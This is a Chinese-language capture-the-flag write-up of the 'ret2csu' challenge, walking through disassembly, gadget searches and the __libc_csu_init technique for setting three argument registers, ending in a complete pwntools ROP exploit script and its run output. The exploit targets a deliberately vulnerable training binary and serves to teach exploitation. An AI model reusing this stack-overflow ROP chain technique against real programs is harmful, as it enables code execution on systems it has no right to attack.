1. ret2csu
信息收集
题目只有64位版本,提供了以下文件:
encrypted_flag.dat key.dat libret2csu.so ret2csu
作者提示,这个题和callme类似,调用ret2win()并提供指定的参数即可,但缺少明显的可利用的gadget。
$ file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
$ checksec ./ret2csu
[*] '/home/starr/Documents/CProject/pwn/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
RUNPATH: b'.'
$ ldd ret2csu
linux-vdso.so.1 (0x00007ffdd03c9000)
libret2csu.so => ./libret2csu.so (0x00007f0e7811f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0e77d2e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0e78322000)
$ checksec ./libret2csu.so
[*] '/home/starr/Documents/CProject/pwn/libret2csu.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
反汇编
$ objdump -d -M intel ret2csu
0000000000400500 <pwnme@plt>:
0000000000400510 <ret2win@plt>:
0000000000400607 <main>:
400607: 55 push rbp
400608: 48 89 e5 mov rbp,rsp
40060b: e8 f0 fe ff ff call 400500 <pwnme@plt>
400610: b8 00 00 00 00 mov eax,0x0
400615: 5d pop rbp
400616: c3 ret
0000000000400617 <usefulFunction>:
400617: 55 push rbp
400618: 48 89 e5 mov rbp,rsp
40061b: ba 03 00 00 00 mov edx,0x3
400620: be 02 00 00 00 mov esi,0x2
400625: bf 01 00 00 00 mov edi,0x1
40062a: e8 e1 fe ff ff call 400510 <ret2win@plt>
...
$ objdump -d -M intel libret2csu.so
000000000000093a <pwnme>:
...
9ae: 48 8d 45 e0 lea rax,[rbp-0x20]
9b2: ba 00 02 00 00 mov edx,0x200
9b7: 48 89 c6 mov rsi,rax
9ba: bf 00 00 00 00 mov edi,0x0
9bf: e8 2c fe ff ff call 7f0 <read@plt> read(stdin, rbp-0x20, 0x200)
...
9d0: 90 nop
9d1: c9 leave
9d2: c3 ret
00000000000009d3 <ret2win>:
9d3: 55 push rbp
9d4: 48 89 e5 mov rbp,rsp
9d7: 48 83 ec 30 sub rsp,0x30
9db: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi arg0
9df: 48 89 75 e0 mov QWORD PTR [rbp-0x20],rsi arg1
9e3: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx arg2
9e7: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0
9ee: 00
9ef: 48 b8 ef be ad de ef movabs rax,0xdeadbeefdeadbeef arg0
9f6: be ad de
9f9: 48 39 45 e8 cmp QWORD PTR [rbp-0x18],rax
9fd: 0f 85 d7 00 00 00 jne ada <ret2win+0x107>
a03: 48 b8 be ba fe ca be movabs rax,0xcafebabecafebabe arg1
a0a: ba fe ca
a0d: 48 39 45 e0 cmp QWORD PTR [rbp-0x20],rax
a11: 0f 85 c3 00 00 00 jne ada <ret2win+0x107>
a17: 48 b8 0d f0 0d d0 0d movabs rax,0xd00df00dd00df00d arg2
a1e: f0 0d d0
a21: 48 39 45 d8 cmp QWORD PTR [rbp-0x28],rax
a25: 0f 85 af 00 00 00 jne ada <ret2win+0x107>
...
b26: e8 05 fd ff ff call 830 <fopen@plt>
...
b63: e8 78 fc ff ff call 7e0 <fgetc@plt>
... 省略解密过程
缓冲区距离返回地址(rbp+8) - (rbp-0x20) == 0x28
字节。
要想通过ret2win解密flag并输出,需要传递三个硬编码的参数:
rdi = 0xdeadbeefdeadbeef
rsi = 0xcafebabecafebabe
rdx = 0xd00df00dd00df00d
搜一下gadget:
pwndbg> rop --grep "pop"
...
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
可以搜到rdi, rsi,但是没有rdx。搜索xchg等指令也是无果。这种情况可以考虑使用ret2csu技术。
关于ret2csu利用
Ret2csu是blackhat大会在2018年的一个议题,即通过__libc_csu_init
函数中的两个特殊 gadgets可实现万能传参。这个函数用来初始化libc,所以一定会存在。
$ objdump -d -M intel ./ret2csu
...
0000000000400510 <ret2win@plt>:
...
0000000000400640 <__libc_csu_init>:
400640: 41 57 push r15
400642: 41 56 push r14
400644: 49 89 d7 mov r15,rdx
400647: 41 55 push r13
400649: 41 54 push r12
40064b: 4c 8d 25 9e 07 20 00 lea r12,[rip+0x20079e] # 600df0 <__frame_dummy_init_array_entry>
400652: 55 push rbp
400653: 48 8d 2d 9e 07 20 00 lea rbp,[rip+0x20079e] # 600df8 <__init_array_end>
40065a: 53 push rbx
40065b: 41 89 fd mov r13d,edi
40065e: 49 89 f6 mov r14,rsi
400661: 4c 29 e5 sub rbp,r12
400664: 48 83 ec 08 sub rsp,0x8
400668: 48 c1 fd 03 sar rbp,0x3
40066c: e8 5f fe ff ff call 4004d0 <_init>
400671: 48 85 ed test rbp,rbp
400674: 74 20 je 400696 <__libc_csu_init+0x56>
400676: 31 db xor ebx,ebx
400678: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40067f: 00
400680: 4c 89 fa mov rdx,r15 pGadgetCsuMov
400683: 4c 89 f6 mov rsi,r14
400686: 44 89 ef mov edi,r13d
400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 想办法使 rbx=0
40068d: 48 83 c3 01 add rbx,0x1
400691: 48 39 dd cmp rbp,rbx 阻止跳转 <-- rbp == rbx + 0x1 == 1
400694: 75 ea jne 400680 <__libc_csu_init+0x40>
400696: 48 83 c4 08 add rsp,0x8
40069a: 5b pop rbx pGadgetCsuPop
40069b: 5d pop rbp
40069c: 41 5c pop r12
40069e: 41 5d pop r13
4006a0: 41 5e pop r14
4006a2: 41 5f pop r15
4006a4: c3 ret
函数中有两段gadget:pGadgetPop和pGadgetCall。Ret2csu的流程如下:
-
执行pGadgetCsuPop,返回到pGadgetCall;
-
pGadgetCsuMov:
-
edi == r13d ,无法赋值8个字节;
-
rsi == r14 == 0xcafebabecafebabe;
-
rdx == r15 == 0xd00df00dd00df00d;
-
rbx == 0;
-
call [r12];
-
rbp == rbx + 0x1 == 0x1;
-
-
0x400696往后还会再执行一遍pGadgetPop,需要在栈里填充8*7个字节;
-
pGadgetPopRdi, 赋值rdi == 0xdeadbeefdeadbeef;
-
ret2win
因在rdi并没有赋值为0xdeadbeefdeadbeef,所以需要再执行一遍pGadgetPop,返回一个 pop rdi的gadget。
R12的地址需要解引用,类似got这样的跳转表,并且执行的指令不能影响栈平衡和寄存器的值。Gdb pwndbg提供了telescope命令, 译为望远镜,很形象:
pwndbg> help telescope
Recursively dereferences pointers starting at the specified address
除了got,dynamic,init_array,fini_array这几个section也可以试试:
$ readelf -S ret2csu
There are 29 section headers, starting at offset 0x1930:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
...
[18] .init_array INIT_ARRAY 0000000000600df0 00000df0
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600df8 00000df8
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600e00 00000e00
00000000000001f0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000028 0000000000000008 WA 0 0 8
pwndbg> telescope 0x0000000000600df0 2 # init_array + fini_array
00:0000│ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp
01:0008│ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0
pwndbg> telescope 0x0000000000600e00 62 # dynamic
00:0000│ 0x600e00 (_DYNAMIC) ◂— 0x1
... ↓ 2 skipped
...
07:0038│ 0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) ◂— sub rsp, 8 !!!!!!!!!!!!!
08:0040│ 0x600e40 (_DYNAMIC+64) ◂— 0xd /* '\r' */
09:0048│ 0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini) ◂— sub rsp, 8 !!!!!!!!!!!!!
0a:0050│ 0x600e50 (_DYNAMIC+80) ◂— 0x19
0b:0058│ 0x600e58 (_DYNAMIC+88) —▸ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp !!!!!!!!!!!!!!
...
0f:0078│ 0x600e78 (_DYNAMIC+120) —▸ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0
...
13:0098│ 0x600e98 (_DYNAMIC+152) —▸ 0x400298 ◂— add eax, dword ptr [rax]
14:00a0│ 0x600ea0 (_DYNAMIC+160) ◂— 0x5
15:00a8│ 0x600ea8 (_DYNAMIC+168) —▸ 0x4003c0 ◂— add byte ptr [rcx + rbp*2 + 0x62], ch
16:00b0│ 0x600eb0 (_DYNAMIC+176) ◂— 0x6
17:00b8│ 0x600eb8 (_DYNAMIC+184) —▸ 0x4002d0 ◂— add byte ptr [rax], al
...
pwndbg> telescope 0x0000000000600ff0 7
00:0000│ 0x600ff0 —▸ 0x7ffff7800ba0 (__libc_start_main) ◂— push r13
01:0008│ 0x600ff8 ◂— 0x0
02:0010│ 0x601000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600e00 (_DYNAMIC) ◂— 0x1
03:0018│ 0x601008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
04:0020│ 0x601010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dea820 (_dl_runtime_resolve_xsave) ◂— push rbx
05:0028│ 0x601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x400506 (pwnme@plt+6) ◂— push 0 /* 'h' */
06:0030│ 0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x400516 (ret2win@plt+6) ◂— push 1
init_array_start
函数是ELF程序的一个初始化函数,运行它一般不会对栈空间造成影响,但这里却把rsi给改变了。。。
00000000000008a0 <register_tm_clones>:
8a0: 48 8d 3d d1 17 20 00 lea rdi,[rip+0x2017d1] # 202078 <_edata>
8a7: 48 8d 35 ca 17 20 00 lea rsi,[rip+0x2017ca] # 202078 <_edata>
8ae: 55 push rbp
8af: 48 29 fe sub rsi,rdi !!!!!!!!!!!!!!!!!!!!!!!!
8b2: 48 89 e5 mov rbp,rsp
8b5: 48 c1 fe 03 sar rsi,0x3 !!!!!!!!!!!!!!!!!!!!!!!!
8b9: 48 89 f0 mov rax,rsi
8bc: 48 c1 e8 3f shr rax,0x3f
8c0: 48 01 c6 add rsi,rax !!!!!!!!!!!!!!!!!!!!!!!!
8c3: 48 d1 fe sar rsi,1 !!!!!!!!!!!!!!!!!!!!!!!!
...
0000000000000930 <frame_dummy>:
930: 55 push rbp
931: 48 89 e5 mov rbp,rsp
934: 5d pop rbp
935: e9 66 ff ff ff jmp 8a0 <register_tm_clones>
另外两个,_init
和_fini
,看了一下,后者也很合适:
pwndbg> disassemble 0x4006b4
Dump of assembler code for function _fini:
0x00000000004006b4 <+0>: sub rsp,0x8
0x00000000004006b8 <+4>: add rsp,0x8
0x00000000004006bc <+8>: ret
Rop chain
padding len 0x28
pGadgetCsuPop 0x40069a
0 pop to rbx
1 pop to rbp, 0x1 == rbx + 0x1
p_init_array_start 0x600e58 pop to r12
0 pop to r13
0xcafebabecafebabe pop to r14
0xd00df00dd00df00d pop to r15
pGadgetCsuMov 0x400680
p(64)*7 pGadgetCsuPop again
pGadgetPopRdi 0x00000000004006a3 : pop rdi ; ret
0xdeadbeefdeadbeef
ret2win
Exp
# coding:utf-8
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
g_nBufOverflowIndex = 0x28
pGadgetCsuPop = 0x40069a
pGadgetCsuMov = 0x400680
pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; ret
# pp_init_array_start = 0x600df0 一般用它,但本题布星~
ppFini = 0x600e48
nArg0_rdi = 0xdeadbeefdeadbeef
nArg1_rsi = 0xcafebabecafebabe
nArg2_rdx = 0xd00df00dd00df00d
strProgram = "./ret2csu"
strSo = "./libret2csu.so"
elf = ELF(strProgram)
pRet2Win = elf.plt["ret2win"] # 0x0000000000400510
rop_chain = b"".join([
b"A" * g_nBufOverflowIndex,
p64(pGadgetCsuPop),
p64(0), # pop to rbx
p64(1), # pop to rbp, 0x1 == rbx + 0x1
# _fini
# p64(pp_init_array_start), #pop to r12 call QWORD PTR [r12+rbx*8]
p64(ppFini), #pop to r12 call QWORD PTR [r12+rbx*8]
p64(0), # pop to r13
p64(nArg1_rsi), # pop to r14
p64(nArg2_rdx), # pop to r15
p64(pGadgetCsuMov), # ret
p64(0)*7, # pGadgetCsuPop again
p64(pGadgetPopRdi),
p64(nArg0_rdi),
p64(pRet2Win)
])
io = getio(strProgram)
io.clean()
# gdb.attach(io)
# pause()
io.sendline(rop_chain)
print(io.recv(timeout=10))
io.interactive()
# sudo python2 exp64.py
# [*] '/home/starr/Documents/CProject/pwn/ret2csu'
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# RUNPATH: '.'
# [+] Starting local process './ret2csu': pid 6638
# Thank you!
# [*] Switching to interactive mode
# [*] Process './ret2csu' stopped with exit code 0 (pid 6638)
# ROPE{a_placeholder_32byte_flag!}
3. 参考文章
ROP-Ret2csu详解 | 偏有宸机 (gitee.io)
asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf (blackhat.com)